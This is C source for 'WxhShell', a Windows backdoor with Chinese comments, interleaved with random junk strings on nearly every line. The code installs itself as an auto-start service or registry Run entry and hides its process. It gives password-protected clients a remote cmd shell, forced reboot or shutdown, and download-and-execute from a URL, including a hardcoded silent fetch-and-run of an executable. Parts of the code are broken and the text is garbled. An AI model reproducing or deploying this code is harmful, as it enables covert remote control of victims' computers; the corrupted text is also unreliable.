    } HV.|Eh_7  
  // 关机 Mbi+Vv-  
  case 'd': {  ~bWWu`h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z$m2rZ#  
    if(Boot(SHUTDOWN)) \q d)l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pil*/&pB  
    else { h C`p<jp/  
    closesocket(wsh); B| 0s4E  
    ExitThread(0); j C1^>D  
    } 4kY{X%9  
    break; e#eO`bT  
    } &+w!'LSaD  
  // 获取shell 1r:fxZO\Vd  
  case 's': { 4uAb LSh9  
    CmdShell(wsh); m$y$wo<K[7  
    closesocket(wsh); !L.z4n,n+  
    ExitThread(0); H1ui#5n2  
    break; d# ?* 62  
  } F]&J%i F[  
  // 退出 &#b>AAx$2Y  
  case 'x': { <~8f0+"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PG~m-W+  
    CloseIt(wsh); /$4?.qtu  
    break; wb Tg  
    } y7G|P~td  
  // 离开 Z a y'/b  
  case 'q': { qA_DQ):  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /:L&uqA  
    closesocket(wsh); Kmf-l*7}  
    WSACleanup(); WxP4{T* <  
    exit(1); $6?KH7lA  
    break; m4.V$U,H]  
        } #FDu 4xi  
  } 1sJJ"dC.w  
  } ?(L? X&)v  
Dlsa(  
  // 提示信息 e$+? v2.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n\)f.}YD8d  
} zmS-s\$,  
  } Mn{Rg>X  
j9fL0$+FI  
  return; zs^\z Cb8  
} 8lb `   
::b;4Q L  
// shell模块句柄 E2/U']R  
int CmdShell(SOCKET sock) $gtT5{"PN(  
{ KUn5S&eB  
STARTUPINFO si; "dU#j,B2  
ZeroMemory(&si,sizeof(si)); 8o5^H>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c+M@{EbuN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J0)WRn"h  
PROCESS_INFORMATION ProcessInfo; S gsR;)2  
char cmdline[]="cmd"; =,;3z/k%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `2~Ea_Z  
  return 0; \Nn%*?f  
} xF>w r r  
w`Aw+[24  
// 自身启动模式 w8@|b}  
int StartFromService(void) 'eXw`kw(  
{ u= i^F|  
typedef struct 2&f=4b`Z  
{ oDDH;Q"M(  
  DWORD ExitStatus; 5GpKX  
  DWORD PebBaseAddress; ~SUl,Cs  
  DWORD AffinityMask; ^?0,G>I%-  
  DWORD BasePriority; F(n))`(  
  ULONG UniqueProcessId; ",@g  
  ULONG InheritedFromUniqueProcessId; >\Pj(,'  
}   PROCESS_BASIC_INFORMATION; ]6 7wk  
|,~A9  
PROCNTQSIP NtQueryInformationProcess; !7kOw65+0  
*)SgdC/f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n>+W]I&E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o) ?1`7^BA  
@8d})X33  
  HANDLE             hProcess; <iqyDPj  
  PROCESS_BASIC_INFORMATION pbi; 13@| {H CB  
! yUKNR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z- Ae'ym  
  if(NULL == hInst ) return 0; m1Z8SM+  
~ a&j4E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bg. KkJMrR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QI{Y@xQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ! \Kh\  
71ybZ 0  
  if (!NtQueryInformationProcess) return 0; Hx0,kOh)  
4T^WRS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R63d `W  
  if(!hProcess) return 0; nvs7s0@Fqe  
Q9V4-MC9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6$.Xj\zl  
};sm8P{M  
  CloseHandle(hProcess); ~"B[6^sW  
s*WfRY*=V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ';V+~pi  
if(hProcess==NULL) return 0; 3c6)  
6>A8#VT  
HMODULE hMod; } ~bOP^'  
char procName[255]; ar}759  
unsigned long cbNeeded; -"L6^IH7  
>k-poBw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :Djp\ e6!  
SSC!BcC1  
  CloseHandle(hProcess); MUl+Oy>  
b=l}|)a  
if(strstr(procName,"services")) return 1; // 以服务启动 pQ\ [F  
VX%\_@  
  return 0; // 注册表启动 /L Tyiiz6  
} 6K0*?j{;"  
jO.E#Ei}~  
// 主模块 Q;M\P/f  
int StartWxhshell(LPSTR lpCmdLine) m"}G-#  
{ FvP1;E  
  SOCKET wsl; @vh>GiR){  
BOOL val=TRUE; @/iLC6QF  
  int port=0; ti% e.p0[  
  struct sockaddr_in door; Uij$ eBN  
K`<P^XJr  
  if(wscfg.ws_autoins) Install(); GUX X|W[6  
xFnMXh t  
port=atoi(lpCmdLine); F,:VL*.5kJ  
sl 5wX  
if(port<=0) port=wscfg.ws_port; !7DS  
nQ6'yd"  
  WSADATA data; }@4*0_g"Aw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?[">%^  
4 XQ?By  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U7=Z.*/62  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _Pal)re]U  
  door.sin_family = AF_INET; y_#wR/E)u{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); = ByW`  
  door.sin_port = htons(port); (*]Y<ve  
hn .fX:}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n]!H,Q1,T  
closesocket(wsl); ~3 (>_r  
return 1; ha 5\T'  
} _,Y79 b6  
hT#mM*`  
  if(listen(wsl,2) == INVALID_SOCKET) { P&;I]2#  
closesocket(wsl); ^Pwq`G A  
return 1; VGIc|Q=F  
} >MH@FnUL  
  Wxhshell(wsl); "{lnSLk  
  WSACleanup(); 2XpGgG`2`C  
* PPFk.#x  
return 0; 1[ Pbsb  
Q1yTDJ(2  
} C5z4%,`f  
Y._AzJ&B[  
// 以NT服务方式启动 70~]J8T+u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) na)_8r~  
{ <^paRKEa+#  
DWORD   status = 0; {HeMdGn9  
  DWORD   specificError = 0xfffffff; kOO2 ?L|Z  
cs)hq4-L`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2]wh1)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]&>)=b!,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #96a7K  
  serviceStatus.dwWin32ExitCode     = 0; ;Wdo*ysW  
  serviceStatus.dwServiceSpecificExitCode = 0; 40XI\yE_?  
  serviceStatus.dwCheckPoint       = 0; XRkqMq%  
  serviceStatus.dwWaitHint       = 0; Jt"Wtr  
C&gJP7UF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XJ+sm^`vOf  
  if (hServiceStatusHandle==0) return; 9q?gmAn.  
}$ der  
status = GetLastError(); 7=9jXNk Y  
  if (status!=NO_ERROR) ]g :ZokU  
{  "(xu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s~CA @  
    serviceStatus.dwCheckPoint       = 0; 3L|k3 `I4  
    serviceStatus.dwWaitHint       = 0; *h1@eJHMz  
    serviceStatus.dwWin32ExitCode     = status; )U` c9*.  
    serviceStatus.dwServiceSpecificExitCode = specificError; |u[gI+TUE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -}s?!Pg>  
    return; P^UcpU,  
  } 7w|s8B  
#<{MtK_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p[Es4S}N  
  serviceStatus.dwCheckPoint       = 0; r|+Zni]  
  serviceStatus.dwWaitHint       = 0; IkkrnG8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1mqFnVkf&+  
} b,wO^07-3^  
[B Al  
// 处理NT服务事件,比如:启动、停止 u CXd% CzE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :>=,sLfJ  
{ gTT-7  
switch(fdwControl) 53A=O gk8S  
{ (,>`\\  
case SERVICE_CONTROL_STOP: bc-"If Z&  
  serviceStatus.dwWin32ExitCode = 0; _" n4SXhq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |Cm}%sgR\0  
  serviceStatus.dwCheckPoint   = 0; 4p]Y`];U  
  serviceStatus.dwWaitHint     = 0; %{Gqhb=u\  
  { 5"+* c@L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a%kj)ah  
  } !jm a --  
  return; G>b1No3%k  
case SERVICE_CONTROL_PAUSE: 8}&cE#@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U4g ZW]F  
  break; `#hy'S:e  
case SERVICE_CONTROL_CONTINUE: 2mRso.Ah  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B(~D*H2T[  
  break; 9I9)5`d|Jn  
case SERVICE_CONTROL_INTERROGATE: .|K5b]na  
  break; R)v`ZF,/b  
}; ^,3 >}PU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J0`?g6aY  
} KvgZx(.  
Aq-v3$XL  
// 标准应用程序主函数 DE[y&]/C{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~vgW:]i  
{ *UTk. :G5  
xg8<b  
// 获取操作系统版本 Z7 @#0;g{  
OsIsNt=GetOsVer(); {VFp fo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #Xc~3rg9  
}v:h EMO  
  // 从命令行安装 WJ%b9{<  
  if(strpbrk(lpCmdLine,"iI")) Install(); R$\ieNb  
^m~=<4eX  
  // 下载执行文件 C]k\GlhB  
if(wscfg.ws_downexe) { [4gv_g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8/=2N  
  WinExec(wscfg.ws_filenam,SW_HIDE); g$+3IVq&  
} ?h5Y^}8Qg  
:=/DF  
if(!OsIsNt) { `f (!i mN  
// 如果时win9x,隐藏进程并且设置为注册表启动 fRbVc  
HideProc(); TZ/u"' ZS  
StartWxhshell(lpCmdLine); "/q6E  
} wL{Qni3A  
else 4B |f}7%\  
  if(StartFromService()) pG (8VteH  
  // 以服务方式启动 vO\CPb %/  
  StartServiceCtrlDispatcher(DispatchTable); FIuKX"XR  
else Gce![<|ph  
  // 普通方式启动 ow&R~_  
  StartWxhshell(lpCmdLine); (Fu9lW}n  
35ng_,t $  
return 0; </fzBaTo  
} V3UEuA  
n4ISHxM  
m~}nM|m%  
}5A?WH_  
=========================================== yVW)DQ 4?  
y==x  
>yaRz+  
Aoj X)_"z  
4|~o<t8  
(|WqOwmoUt  
" 8.vD]hO  
^*ZO@GNL  
#include <stdio.h> 0_ ;-QAd  
#include <string.h> |{$Vk%cUE  
#include <windows.h> R8mL|Vb|  
#include <winsock2.h> H6L`239u  
#include <winsvc.h> {3l] /X3  
#include <urlmon.h> v +7<}  
rT x]%{  
#pragma comment (lib, "Ws2_32.lib") >OQ<wO6  
#pragma comment (lib, "urlmon.lib") ETmfy}V8  
DCHU=r  
#define MAX_USER   100 // 最大客户端连接数 bk V_ ^8  
#define BUF_SOCK   200 // sock buffer z 6p.{M  
#define KEY_BUFF   255 // 输入 buffer Eg ;r]?|6  
DlaA-i]l  
#define REBOOT     0   // 重启 lK{h%2A\b  
#define SHUTDOWN   1   // 关机 NpSS/rd $  
[z/OY&kF  
#define DEF_PORT   5000 // 监听端口 gI[x OK#  
q$\KE4v"  
#define REG_LEN     16   // 注册表键长度 7r:!HmRl  
#define SVC_LEN     80   // NT服务名长度 Zb@PwH4  
Mq-;sPsFP  
// 从dll定义API -cMqq$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Obbjl@]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \h:$q E7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sVGyHA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d^ w6_  
"wdC/  
// wxhshell配置信息 6<gh:vj  
struct WSCFG { zh7NXTzyf  
  int ws_port;         // 监听端口 Ty7x jIs  
  char ws_passstr[REG_LEN]; // 口令 ^W;\faG  
  int ws_autoins;       // 安装标记, 1=yes 0=no _/hWzj=q  
  char ws_regname[REG_LEN]; // 注册表键名 M4`qi3I  
  char ws_svcname[REG_LEN]; // 服务名 -_B*~M/vV`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &kh-2#E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <"6 }C)G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 caS5>wk`R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xM[m(m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h^cM#L^B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >Ka}v:E  
u1rT:\G1  
}; y4+Km*am,W  
Oo$i,|$$  
// default Wxhshell configuration usU5q>1  
struct WSCFG wscfg={DEF_PORT, | X! d*4  
    "xuhuanlingzhe", 86oa>#opU  
    1, ?m0|>[j  
    "Wxhshell", SIVzc Hm  
    "Wxhshell", b0t/~]9G  
            "WxhShell Service", Z!DGCw  
    "Wrsky Windows CmdShell Service", ).5$c0`U&  
    "Please Input Your Password: ", 54v}iG  
  1, xzh`q  
  "http://www.wrsky.com/wxhshell.exe", X$)<>e]!>  
  "Wxhshell.exe" bDK72cQ  
    }; Rjt]^gb!*  
TF2'-"2Y  
// 消息定义模块 h<JV6h:8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C`Zz\DNG@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &Yb!j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n2cb,b/7  
char *msg_ws_ext="\n\rExit."; '_>8_  
char *msg_ws_end="\n\rQuit."; 'Y `or14E  
char *msg_ws_boot="\n\rReboot..."; DY1UP (y  
char *msg_ws_poff="\n\rShutdown..."; D&#wn.0|E  
char *msg_ws_down="\n\rSave to "; 'b~,/lZd  
DJR_"8  
char *msg_ws_err="\n\rErr!"; |U)M.\h  
char *msg_ws_ok="\n\rOK!"; f<?v.5($  
MDAJ p>o  
char ExeFile[MAX_PATH]; 0.!_k )tu  
int nUser = 0; B^nE^"b  
HANDLE handles[MAX_USER]; *d b,N'rK  
int OsIsNt; fgdqp8~  
h8'`g 0  
SERVICE_STATUS       serviceStatus; bL-+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dD ?ZF6  
NSI$uS6  
// 函数声明 H[S[ y  
int Install(void); U4M}E h8  
int Uninstall(void); >cJfD9-<h  
int DownloadFile(char *sURL, SOCKET wsh); aYW 9 C<5  
int Boot(int flag); @~sJ ((G[5  
void HideProc(void); u7L&cx  
int GetOsVer(void); gM>geWB<  
int Wxhshell(SOCKET wsl); v[57LB  
void TalkWithClient(void *cs); [_P ZdIN  
int CmdShell(SOCKET sock); =# 0f4z  
int StartFromService(void); F=EG#<@u  
int StartWxhshell(LPSTR lpCmdLine); juIi-*R!  
OXp(rJ*bK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #q?'<''d,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wwaw|$  
h9RL(Kq{  
// 数据结构和表定义 :J6 xYy$  
SERVICE_TABLE_ENTRY DispatchTable[] = $ra q,SP  
{ %^Zu^uu   
{wscfg.ws_svcname, NTServiceMain}, $\Oc]%  
{NULL, NULL} #83`T&Xw*  
}; 7 x#QkImQ  
[]OmztB  
// 自我安装 gxPu/VD4  
int Install(void) %[B^b)2  
{ /xq^]0xy  
  char svExeFile[MAX_PATH]; \:y oS>G  
  HKEY key; QNWGUg4*&  
  strcpy(svExeFile,ExeFile); 5Q7Z$A1a 9  
C8Ja>o2'  
// 如果是win9x系统,修改注册表设为自启动 SR_<3WW  
if(!OsIsNt) { v9*31Jx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lWPh2k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YpJJ]Rszg  
  RegCloseKey(key); VDT.L,9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tzJ7wXRr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aGBUFCCa  
  RegCloseKey(key); u43W.4H13  
  return 0; !{q_Q !  
    } z_f^L %J0  
  } D||)H  
} FdGnNDl*e  
else { qBF6LhR  
i+90##4<?  
// 如果是NT以上系统,安装为系统服务  Z2a~1BL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7w\L<vFm  
if (schSCManager!=0) t03X/%H  
{ }i$ER,hXh  
  SC_HANDLE schService = CreateService <c3Te$.  
  ( oZ5 ,y+L4  
  schSCManager, L9{y1'')  
  wscfg.ws_svcname, Y[!s:3\f  
  wscfg.ws_svcdisp, CFXr=.yz  
  SERVICE_ALL_ACCESS, B@k2lHks(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jZr"d*Y  
  SERVICE_AUTO_START, ]$~\GE^  
  SERVICE_ERROR_NORMAL, I >aKa  
  svExeFile, dOX"7kZ  
  NULL, ?k`UQi]Q  
  NULL, 'D'H)J  
  NULL, "O~7s}  
  NULL, 18,;2Sr44  
  NULL b|pp}il  
  ); u.ej<Lo  
  if (schService!=0) !mH !W5&  
  { uN&UYJ' B  
  CloseServiceHandle(schService); :'2h0 5R  
  CloseServiceHandle(schSCManager); R =kXf/y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YWAH(  
  strcat(svExeFile,wscfg.ws_svcname); # Rhtaq9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x7GYWK 9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]w0_!Z&  
  RegCloseKey(key); s}qtM.^W  
  return 0; p~WX\;   
    } "^Vnnb:Z*o  
  } &6e A.  
  CloseServiceHandle(schSCManager); .;F%k,!v  
} zJ)`snN|  
} t|P+^SL  
6L"b O'_5K  
return 1; !&},h=  
} G5hf m-  
f cnv[B..{  
// 自我卸载 jr(|-!RVMN  
int Uninstall(void) KwNOB _  
{ ?{L5=X@$$  
  HKEY key;  s2`}~  
-e O>d}  
if(!OsIsNt) { [gGo^^aW#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L"RE[" m  
  RegDeleteValue(key,wscfg.ws_regname); O{x-9p  
  RegCloseKey(key); j1 H eX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~p?D[]h  
  RegDeleteValue(key,wscfg.ws_regname); 3S .2  
  RegCloseKey(key); @ 3rJ$6W  
  return 0; 3"Zc|Ck <?  
  } O"}O~lZ[6T  
} )# v}8aL  
} ka@yQV  
else { %$_Y"82  
QtA@p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MxOIe|=&  
if (schSCManager!=0) &z05h<]  
{ N :OLN[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  Q!5W x  
  if (schService!=0) Z.`0  
  { 97dF  
  if(DeleteService(schService)!=0) { =)}Yw)  
  CloseServiceHandle(schService); 5/R ~<z  
  CloseServiceHandle(schSCManager); O03F@v  
  return 0; 5 qMP u|A  
  } 1HLU &  
  CloseServiceHandle(schService); H#M;TjR  
  } LJA uTg  
  CloseServiceHandle(schSCManager); 5Y 7 %Z  
} m2HO .ljc  
} ~7gFddi=i  
X4L@|"ZI  
return 1; JkI|Ojmm/  
} hcpe~spz9|  
.pG`/[*a  
// 从指定url下载文件 558!?kx$  
int DownloadFile(char *sURL, SOCKET wsh) J| 1!4R~  
{ _FU}IfG>t  
  HRESULT hr; 3:<[;yo  
char seps[]= "/"; XZ2 ji_D  
char *token; CDY3+!  
char *file; "pO** z$Z  
char myURL[MAX_PATH]; cT@H49#uB  
char myFILE[MAX_PATH]; K#Xl)h}y7  
O;$}j:;KF  
strcpy(myURL,sURL); p0D@O_ :5  
  token=strtok(myURL,seps); 8@ S@^C*F  
  while(token!=NULL) ,Iru_=Wk~  
  { *TrpW?]Y&  
    file=token; J3XG?' }  
  token=strtok(NULL,seps); ve\@u@K^  
  } ..x 2  
P'<j<h6  
GetCurrentDirectory(MAX_PATH,myFILE); nt@uVwfQ  
strcat(myFILE, "\\"); N;DE,[:<  
strcat(myFILE, file); fymmA faR  
  send(wsh,myFILE,strlen(myFILE),0);  c& $[a%s  
send(wsh,"...",3,0); *to#ZMR;!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i*8j|  
  if(hr==S_OK) l3+G]C&<  
return 0; 3sgo5D-rMI  
else /z(d!0_q|v  
return 1; Jpy~5kS  
%_G '#Bn<  
} mz<X$2]?  
Y-,S_59  
// 系统电源模块 :QF`Orb!^  
int Boot(int flag) Zq 'FOzs  
{ 0d$LUQ't  
  HANDLE hToken; h*Mt{A&'.&  
  TOKEN_PRIVILEGES tkp; Ff d4c  
R2Lq??XA=  
  if(OsIsNt) { aU/y>Y <k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B 74  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MShcZtN  
    tkp.PrivilegeCount = 1; !=HxL-`j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3BAQ2S}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7%&e4'SZO  
if(flag==REBOOT) { Od~ e*gA8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G *<g%"  
  return 0; T+S\'f\  
} RB6TM  
else { nm)/BK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JEK_W<BD  
  return 0; <<V"4 C2  
} '3~m},0  
  } O|+$ 9#,  
  else { VbNN1'a-  
if(flag==REBOOT) { e(FT4KD~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >p`i6_P0P/  
  return 0; k8i0`VY5Y  
} ;2[OI  
else { TW wE3{iF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n'?]_z<  
  return 0; #GfM^sK  
} wKoar  
} 6B Hd c  
6W~JM^F  
return 1; X5-[v(/]  
} 9?^0pR p  
L=.@hs  
// win9x进程隐藏模块 6G(K8Q{>  
void HideProc(void) .yHK  
{ %$bhg&}  
tv2k&\1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ` +)Bl%*  
  if ( hKernel != NULL ) jkAru_C  
  { 06`caG|]-M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l\!`ZhM,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fu% n8  
    FreeLibrary(hKernel); r oBb o  
  } } Fli  
s#aane  
return; xgtx5tg  
} wod(P73?  
i[wnG)  
// 获取操作系统版本 :f7:@8  
int GetOsVer(void) /g8nT1k  
{ muDOY~.  
  OSVERSIONINFO winfo; L>lxkq8!Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [h>A<O  
  GetVersionEx(&winfo); fJ=(oF=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R%\<al$O  
  return 1; ^f 0-w`D  
  else s=1k9   
  return 0; "Y"`'U=v  
} 9JeT1\VvHY  
x7i,jMR  
// 客户端句柄模块 :.f( }sCS  
int Wxhshell(SOCKET wsl) ezhfKt]j  
{ di ]CYLf  
  SOCKET wsh; b(adM3MP  
  struct sockaddr_in client; L-m' #  
  DWORD myID; [#AI!-  
7\H_9o0$  
  while(nUser<MAX_USER) vg1E@rH|}  
{ twt's,dO  
  int nSize=sizeof(client); WpMm%G~'4t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '5A&c(  
  if(wsh==INVALID_SOCKET) return 1; %`s1 Ocvp  
b/tc D r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zrew}0  
if(handles[nUser]==0) cV7a, *  
  closesocket(wsh); BqavI&1=  
else AmUH]+5KT  
  nUser++; MM&qLAa"f  
  } M+)ENv e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'b6qEU#  
I9nm$,i]7  
  return 0; \K lY8\c[  
} ^rGuyW#  
]; eJ'#  
// 关闭 socket Q91mCP~$  
void CloseIt(SOCKET wsh) IU"n`HS  
{ f1B t6|W%  
closesocket(wsh); dIA1\;@  
nUser--; [(vV45(E  
ExitThread(0); IK8" 3+(  
} cnDF`7xrT  
31F^38  
// 客户端请求句柄 DD6K[\  
void TalkWithClient(void *cs) E{\T?dk1$  
{ DweF8c  
UnyJD%a  
  SOCKET wsh=(SOCKET)cs; TXbi>t:/S{  
  char pwd[SVC_LEN]; H1 i+j;RN  
  char cmd[KEY_BUFF]; Y~I0\8s-  
char chr[1]; cet|k!   
int i,j; d_ &~^*>  
Gsy90  
  while (nUser < MAX_USER) { $dKo}  
gEmsPk,  
if(wscfg.ws_passstr) { gRw? <U^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #wGOlW;R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [t*-s1cq  
  //ZeroMemory(pwd,KEY_BUFF); 0OnqKgf  
      i=0; }_Y\6fcd  
  while(i<SVC_LEN) { ' R= OeH  
M{=p0?X  
  // 设置超时 &$h#9  
  fd_set FdRead; dd@ D s  
  struct timeval TimeOut; vtzbF1?O  
  FD_ZERO(&FdRead); 3=0b  
  FD_SET(wsh,&FdRead); UY)Iu|~0b  
  TimeOut.tv_sec=8; :Z6l)R+V  
  TimeOut.tv_usec=0; }!WuJz"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (%fSJCBl[P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `0=j,54cx  
N*KM6j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GwG(?_I"  
  pwd=chr[0]; MEtKFC|p  
  if(chr[0]==0xd || chr[0]==0xa) { ]XWtw21I1  
  pwd=0; D/z*F8'c  
  break; &}0#(Fa`  
  } )>pIAYCVP  
  i++; D e$K  
    } )$O'L7In&  
3)l<'~"z<  
  // 如果是非法用户,关闭 socket o%h[o9i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #BI6+rfv|  
} , lBHA+@  
h0l_9uI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ei[,ug'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =[)2DJC  
<}%gZ:Z6g  
while(1) { |jKFk.M  
2p*L~! iM  
  ZeroMemory(cmd,KEY_BUFF); B^j(Fq  
WmblY2  
      // 自动支持客户端 telnet标准   vs*@)'n0}  
  j=0; j$k/oQ  
  while(j<KEY_BUFF) { %'9&JsO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tU-jtJ  
  cmd[j]=chr[0]; A*W/Q<~I  
  if(chr[0]==0xa || chr[0]==0xd) { u TmT'u:}  
  cmd[j]=0; `t7GYmw^#  
  break; |W SvAM3  
  } FCChB7c`  
  j++; P_E xh]P  
    } D)eRk0iC  
# tU@\H5kN  
  // 下载文件 De49!{\a  
  if(strstr(cmd,"http://")) { FuP~_ E~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); = Fwzm^}6  
  if(DownloadFile(cmd,wsh)) $-n_$jLY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jZ?^ |1  
  else UFj/Y;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zzX9Q:  
